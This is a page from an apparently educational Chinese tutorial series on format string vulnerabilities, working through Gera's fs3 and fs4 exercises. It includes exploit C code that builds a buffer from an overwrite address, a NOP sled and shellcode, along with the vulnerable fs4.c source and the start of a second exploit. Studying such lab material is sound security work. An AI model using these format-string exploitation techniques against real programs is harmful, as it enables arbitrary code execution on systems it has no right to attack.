WEB开发网
开发学院网络安全黑客技术 非安全编程演示之格式化字符串(2) 阅读

非安全编程演示之格式化字符串(2)

 2006-04-02 20:26:42 来源:WEB开发网   
核心提示: /* Evil buffer */p = evil_buffer;*((void **)p) = (void *) (deregister_address + 2);p += 4;/* Adding the NOPs */memset(p, '\x90', (sizeof(

/* Evil buffer */
p = evil_buffer;


*((void **)p) = (void *) (deregister_address + 2);
p += 4;


/* Adding the NOPs */
memset(p, '\x90', (sizeof(evil_buffer) - strlen(shellcode) - 4 -
1));
p += (sizeof(evil_buffer) - strlen(shellcode) - 4 - 1);


/* Adding shellcode */
memcpy(p, shellcode, strlen(shellcode));
p += strlen(shellcode);
*p = '\0';


execl("/user/home/gera/fs3", "fs3", evil_buffer, NULL);
}

fs4.c分析


这个例子的源代码如下:


/* fs4.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Have you ever heard about code reusability? */


int main(int argv,char **argc) {
char buf[256];


snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
printf(buf);
}


溢出的方法与fs3.c大致相同。这里微小的变化就是这里多了一个格式化参数--“6$”。
这意味着%hn将覆盖第六个参数所指向的地址。为了成功溢出,argc[1]的前8个字节要填充
垃圾(原因留给读者思考)。另一个变动就是exploit里用的不是__deregister_frame_info()的
地址而是printf()的地址(这里没有什么影响):


/*
** exp_fs4.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>

上一页  1 2 3 4 5 6 7 8  下一页

Tags:安全 编程 演示

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接